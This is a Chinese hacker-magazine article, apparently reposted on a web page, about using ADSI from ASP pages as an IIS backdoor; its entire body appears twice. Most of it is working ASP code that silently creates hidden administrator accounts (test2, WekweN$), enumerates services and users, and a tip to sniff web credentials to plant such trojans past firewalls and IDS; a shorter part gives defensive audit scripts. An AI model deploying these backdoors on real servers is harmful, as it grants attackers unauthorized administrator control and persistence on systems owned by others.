你根本想不到的——IIS另類后門
更新時(shí)間:2007年01月16日 00:00:00 作者:
終于由學(xué)校步入了社會(huì),發(fā)現(xiàn)其實(shí)學(xué)校還是有很多值得我們留戀的地方,而工作其實(shí)蠻辛苦的,最主要的是不能經(jīng)常和朋友一起去網(wǎng)上玩了。上周六回了趟學(xué)校,在主機(jī)房里和做網(wǎng)管的朋友聊天,偶然發(fā)現(xiàn)一個(gè)很熟的ASP程序在服務(wù)器的網(wǎng)站目錄里(以前我是學(xué)校網(wǎng)絡(luò)組的成員之一),于是連了下看看,沒有給予匿名瀏覽的權(quán)限,不過賬號勾選的是記住密碼,登錄成功。網(wǎng)頁顯示“添加test2用戶成功”,“添加test2管理員成功”。呵呵,我連管理員密碼都不知道呢。打開3389,叫朋友看了下用戶列表……
“怎么你個(gè)家伙每次來都沒好事?快說,這次你又搞什么啦!”
“倒!你別著急,其實(shí)只是以前的一個(gè)ASP木馬沒刪掉嘛?!?nbsp;
朋友不信,打開思易等asp木馬專用查殺工具搜索了一番,還查了下各ASP網(wǎng)頁的Classid值,又打開新版的諾頓掃描了所有盤……完了問我,你的木馬呢?我打開網(wǎng)頁,給他看代碼?!皶灒氵@是什么木馬啊,Cmd又沒有,F(xiàn)SO也沒,連加密也沒加,短短的幾句代碼……”這個(gè)說來就話長了……
在以前版本的IIS中存在兩個(gè)問題。第一,缺乏一個(gè)清晰的、開放的第三方管理產(chǎn)品的接口和一個(gè)定制的常規(guī)管理任務(wù)自動(dòng)化的可編程接口;第二,需要一個(gè)控制目錄服務(wù)以使網(wǎng)絡(luò)上的服務(wù)器能夠互相發(fā)現(xiàn)的機(jī)制。如果這些接口存在,站點(diǎn)創(chuàng)建者可以使用各種類型的工具來編寫各種類型的服務(wù)器管理應(yīng)用,比如除了用戶管理和安全性產(chǎn)品外,他們還能創(chuàng)建用于性能管理、安裝和配置的程序。于是Microsoft在1998年早些時(shí)候發(fā)布了一個(gè)活動(dòng)目錄服務(wù)接口(Active Directory ServiceInterfaces,ADSI)的新版本。ADSI和IIS管理對象(IIS Administration Object,IISAO)一起提供了一個(gè)用于控制目錄服務(wù)和IIS自己的聯(lián)合解決方案。
IISAO能夠被使用許多不同語言編制的應(yīng)用所訪問,其中包括C++、Delphi、Java和VB。除了數(shù)量增長迅速外,第三方站點(diǎn)管理工具均可以通過ADSI和IISAO更好地掛接到IIS和目錄服務(wù)中。另外,IISAO也可以經(jīng)由一個(gè)服務(wù)器端的腳本引擎和活動(dòng)服務(wù)器頁面(Active Server Page,ASP)通過WEB頁面被訪問。事實(shí)上,如果正使用IIS 4.0以上管理工具的HTML版本,那么已經(jīng)在使用IISAO。IISAO還能從使用Windows腳本主機(jī)(Windows Scripting Host,WSH)的命令行訪問。
和IISAO一樣,ADSI只是一組COM對象,能夠在它們各自的目錄服務(wù)中封裝對象。這在本地目錄服務(wù)和應(yīng)用中創(chuàng)建了一個(gè)抽象層,因此,站點(diǎn)創(chuàng)建者可以通過一個(gè)單一的公共接口來控制許多不同的目錄服務(wù)。利用這個(gè)功能強(qiáng)大的活動(dòng)目錄服務(wù)接口,我們能在Windows NT平臺(tái)創(chuàng)建本地或遠(yuǎn)程主機(jī)管理員權(quán)限的完全訪問,黑防以前關(guān)于腳本攻擊的一些文章多少都帶到了這方面的應(yīng)用。
比如我們要看遠(yuǎn)程機(jī)器上開的服務(wù)(準(zhǔn)備好Pskill,把防火墻先停了),代碼如下:
<%Set ComputerObj = GetObject("WinNT://127.0.0.1")
ComputerObj.Filter = Array("Service")
For Each Service in ComputerObj
Response.Write "Service display name = " & Service.DisplayName
Response.Write("<BR>")
Response.Write "Service account name = " & Service.ServiceAccountName
Response.Write("<BR>")
Response.Write "Service executable = " & Service.Path
Next%>
執(zhí)行后返回結(jié)果.
怎么樣?服務(wù)全部出來了吧?連服務(wù)對應(yīng)的路徑都有,比任務(wù)管理器還好用?!澳愫孟筮€沒把你剛才做的事情說清楚啊?”O(jiān)K,其實(shí)學(xué)校服務(wù)器上的ASP程序的代碼也很少,從添加賬戶到提升權(quán)限不過十幾行:
<%
Set onlineServer= GetObject("WinNT://127.0.0.1")
Set newuser= onlineServer.Create("user","test2")
NewUser.SetPassword "test2"
NewUser.FullName="Test2 test"
NewUser.Description="testuser"
NewUser.Setinfo
Set oDomain = GetObject("WinNT://" &"127.0.0.1")
Set oGroup = oDomain.GetObject("Group", "administrators")
oGroup.Add ("winnt://test2")
Response.Write "添加test2用戶成功"
Response.Write "添加test2管理員成功"
Set oDomain=Nothing
Set oGroup=Nothing
%>
看看效果吧。
查看當(dāng)前機(jī)器所有帳戶可以使用如下代碼:
Set onlineServer= GetObject("WinNT://127.0.0.1")
onlineServer.filter=array("user")
for each member in onlineserver
response.Write member.name & "--" & member.FullName &"<br>"
next
Set onlineServer= GetObject("WinNT://127.0.0.1")
:
話說回來,在網(wǎng)站權(quán)限提升的方面這個(gè)用處并不大,只能用于特殊情況下對服務(wù)器權(quán)限造成有效攻擊,網(wǎng)上有朋友寫過一段這樣的代碼:<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密碼
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$Content$nbsp;超級賬號建立成功!"%>
說是新的漏洞可將普通用戶提升管理員,可是我經(jīng)過測試發(fā)現(xiàn)沒有成功,在非主流的攻擊方法中一般是這樣使用的:它不是要求密碼賬號才能瀏覽嗎?你可以先在目標(biāo)網(wǎng)段嗅探對方的WEB連接賬號,因?yàn)樵谀J(rèn)情況下,WEB賬戶和密碼在傳遞的時(shí)候是完全透明的!再用已經(jīng)擁有的部分權(quán)限插入此類ASP木馬向服務(wù)器滲透(這里指的是特殊情況,誰要以為有了賬號密碼就無敵的話我也沒辦法,我現(xiàn)在只是說特殊情況下,優(yōu)點(diǎn)是能躲過防火墻和IDS的阻擾。一般的服務(wù)器就用Cmd.asp搞定吧,不用那么麻煩)。
“哇,這么危險(xiǎn),刪掉刪掉?!迸笥阉⑺Ⅻc(diǎn)了兩下鼠標(biāo),就把我的程序干掉了,我看沒什么事情,道了個(gè)別正準(zhǔn)備回去。
“站住,要是有別人用這個(gè)來搞破壞怎么辦呢?”朋友拉著我問?!捌鋵?shí)防護(hù)方法也很簡單,就是恢復(fù)匿名訪問”,話一出口朋友一本巨厚的牛津字典準(zhǔn)備要拍過來了,我只能繼續(xù)往下說。
如果一定要用到此類訪問的話,可以寫一些與其對抗的ASP代碼,比如:以下是返回計(jì)算機(jī)上本地管理員組的所有成員,你可以加上自動(dòng)刷新,一發(fā)現(xiàn)入侵就跳出個(gè)對話框好了:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
Response.Write objUser.Name
Next
發(fā)現(xiàn)不是本地管理員用戶賬號和域管理員賬號就刪掉的代碼(非Administrator就干掉):
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
If objUser.Name <> "Administrator" and objUser.Name <> _
"work\Administrator" Then
objGroup.Remove(objUser.ADsPath)
End If
Next
一段報(bào)告本地計(jì)算機(jī)上來賓賬戶狀態(tài)的腳本:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Response.Write "guest賬戶未使用."
Else
Response.Write "guest用戶被使用."
End If
檢查你計(jì)算機(jī)上是否有文件被共享:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Response.Write "Name: " & objShare.Name
Response.Write "Path: " & objShare.Path
Response.Write "Type: " & objShare.Type
Next
“就這樣就行了嗎?我覺得用它寫個(gè)IIS后門非常不錯(cuò),我得研究下。明天是周日,你不準(zhǔn)走了,幫我值班!”,天那,又要通宵看機(jī)房了,我的兄弟我的周末啊!
“怎么你個(gè)家伙每次來都沒好事?快說,這次你又搞什么啦!”
“倒!你別著急,其實(shí)只是以前的一個(gè)ASP木馬沒刪掉嘛?!?nbsp;
朋友不信,打開思易等asp木馬專用查殺工具搜索了一番,還查了下各ASP網(wǎng)頁的Classid值,又打開新版的諾頓掃描了所有盤……完了問我,你的木馬呢?我打開網(wǎng)頁,給他看代碼?!皶灒氵@是什么木馬啊,Cmd又沒有,F(xiàn)SO也沒,連加密也沒加,短短的幾句代碼……”這個(gè)說來就話長了……
在以前版本的IIS中存在兩個(gè)問題。第一,缺乏一個(gè)清晰的、開放的第三方管理產(chǎn)品的接口和一個(gè)定制的常規(guī)管理任務(wù)自動(dòng)化的可編程接口;第二,需要一個(gè)控制目錄服務(wù)以使網(wǎng)絡(luò)上的服務(wù)器能夠互相發(fā)現(xiàn)的機(jī)制。如果這些接口存在,站點(diǎn)創(chuàng)建者可以使用各種類型的工具來編寫各種類型的服務(wù)器管理應(yīng)用,比如除了用戶管理和安全性產(chǎn)品外,他們還能創(chuàng)建用于性能管理、安裝和配置的程序。于是Microsoft在1998年早些時(shí)候發(fā)布了一個(gè)活動(dòng)目錄服務(wù)接口(Active Directory ServiceInterfaces,ADSI)的新版本。ADSI和IIS管理對象(IIS Administration Object,IISAO)一起提供了一個(gè)用于控制目錄服務(wù)和IIS自己的聯(lián)合解決方案。
IISAO能夠被使用許多不同語言編制的應(yīng)用所訪問,其中包括C++、Delphi、Java和VB。除了數(shù)量增長迅速外,第三方站點(diǎn)管理工具均可以通過ADSI和IISAO更好地掛接到IIS和目錄服務(wù)中。另外,IISAO也可以經(jīng)由一個(gè)服務(wù)器端的腳本引擎和活動(dòng)服務(wù)器頁面(Active Server Page,ASP)通過WEB頁面被訪問。事實(shí)上,如果正使用IIS 4.0以上管理工具的HTML版本,那么已經(jīng)在使用IISAO。IISAO還能從使用Windows腳本主機(jī)(Windows Scripting Host,WSH)的命令行訪問。
和IISAO一樣,ADSI只是一組COM對象,能夠在它們各自的目錄服務(wù)中封裝對象。這在本地目錄服務(wù)和應(yīng)用中創(chuàng)建了一個(gè)抽象層,因此,站點(diǎn)創(chuàng)建者可以通過一個(gè)單一的公共接口來控制許多不同的目錄服務(wù)。利用這個(gè)功能強(qiáng)大的活動(dòng)目錄服務(wù)接口,我們能在Windows NT平臺(tái)創(chuàng)建本地或遠(yuǎn)程主機(jī)管理員權(quán)限的完全訪問,黑防以前關(guān)于腳本攻擊的一些文章多少都帶到了這方面的應(yīng)用。
比如我們要看遠(yuǎn)程機(jī)器上開的服務(wù)(準(zhǔn)備好Pskill,把防火墻先停了),代碼如下:
<%Set ComputerObj = GetObject("WinNT://127.0.0.1")
ComputerObj.Filter = Array("Service")
For Each Service in ComputerObj
Response.Write "Service display name = " & Service.DisplayName
Response.Write("<BR>")
Response.Write "Service account name = " & Service.ServiceAccountName
Response.Write("<BR>")
Response.Write "Service executable = " & Service.Path
Next%>
執(zhí)行后返回結(jié)果.
怎么樣?服務(wù)全部出來了吧?連服務(wù)對應(yīng)的路徑都有,比任務(wù)管理器還好用?!澳愫孟筮€沒把你剛才做的事情說清楚啊?”O(jiān)K,其實(shí)學(xué)校服務(wù)器上的ASP程序的代碼也很少,從添加賬戶到提升權(quán)限不過十幾行:
<%
Set onlineServer= GetObject("WinNT://127.0.0.1")
Set newuser= onlineServer.Create("user","test2")
NewUser.SetPassword "test2"
NewUser.FullName="Test2 test"
NewUser.Description="testuser"
NewUser.Setinfo
Set oDomain = GetObject("WinNT://" &"127.0.0.1")
Set oGroup = oDomain.GetObject("Group", "administrators")
oGroup.Add ("winnt://test2")
Response.Write "添加test2用戶成功"
Response.Write "添加test2管理員成功"
Set oDomain=Nothing
Set oGroup=Nothing
%>
看看效果吧。
查看當(dāng)前機(jī)器所有帳戶可以使用如下代碼:
Set onlineServer= GetObject("WinNT://127.0.0.1")
onlineServer.filter=array("user")
for each member in onlineserver
response.Write member.name & "--" & member.FullName &"<br>"
next
Set onlineServer= GetObject("WinNT://127.0.0.1")
:
話說回來,在網(wǎng)站權(quán)限提升的方面這個(gè)用處并不大,只能用于特殊情況下對服務(wù)器權(quán)限造成有效攻擊,網(wǎng)上有朋友寫過一段這樣的代碼:<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密碼
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$Content$nbsp;超級賬號建立成功!"%>
說是新的漏洞可將普通用戶提升管理員,可是我經(jīng)過測試發(fā)現(xiàn)沒有成功,在非主流的攻擊方法中一般是這樣使用的:它不是要求密碼賬號才能瀏覽嗎?你可以先在目標(biāo)網(wǎng)段嗅探對方的WEB連接賬號,因?yàn)樵谀J(rèn)情況下,WEB賬戶和密碼在傳遞的時(shí)候是完全透明的!再用已經(jīng)擁有的部分權(quán)限插入此類ASP木馬向服務(wù)器滲透(這里指的是特殊情況,誰要以為有了賬號密碼就無敵的話我也沒辦法,我現(xiàn)在只是說特殊情況下,優(yōu)點(diǎn)是能躲過防火墻和IDS的阻擾。一般的服務(wù)器就用Cmd.asp搞定吧,不用那么麻煩)。
“哇,這么危險(xiǎn),刪掉刪掉?!迸笥阉⑺Ⅻc(diǎn)了兩下鼠標(biāo),就把我的程序干掉了,我看沒什么事情,道了個(gè)別正準(zhǔn)備回去。
“站住,要是有別人用這個(gè)來搞破壞怎么辦呢?”朋友拉著我問?!捌鋵?shí)防護(hù)方法也很簡單,就是恢復(fù)匿名訪問”,話一出口朋友一本巨厚的牛津字典準(zhǔn)備要拍過來了,我只能繼續(xù)往下說。
如果一定要用到此類訪問的話,可以寫一些與其對抗的ASP代碼,比如:以下是返回計(jì)算機(jī)上本地管理員組的所有成員,你可以加上自動(dòng)刷新,一發(fā)現(xiàn)入侵就跳出個(gè)對話框好了:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
Response.Write objUser.Name
Next
發(fā)現(xiàn)不是本地管理員用戶賬號和域管理員賬號就刪掉的代碼(非Administrator就干掉):
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
If objUser.Name <> "Administrator" and objUser.Name <> _
"work\Administrator" Then
objGroup.Remove(objUser.ADsPath)
End If
Next
一段報(bào)告本地計(jì)算機(jī)上來賓賬戶狀態(tài)的腳本:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Response.Write "guest賬戶未使用."
Else
Response.Write "guest用戶被使用."
End If
檢查你計(jì)算機(jī)上是否有文件被共享:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Response.Write "Name: " & objShare.Name
Response.Write "Path: " & objShare.Path
Response.Write "Type: " & objShare.Type
Next
“就這樣就行了嗎?我覺得用它寫個(gè)IIS后門非常不錯(cuò),我得研究下。明天是周日,你不準(zhǔn)走了,幫我值班!”,天那,又要通宵看機(jī)房了,我的兄弟我的周末啊!
相關(guān)文章
推薦:二次發(fā)現(xiàn)桃源網(wǎng)絡(luò)硬盤漏洞
推薦:二次發(fā)現(xiàn)桃源網(wǎng)絡(luò)硬盤漏洞...2007-01-01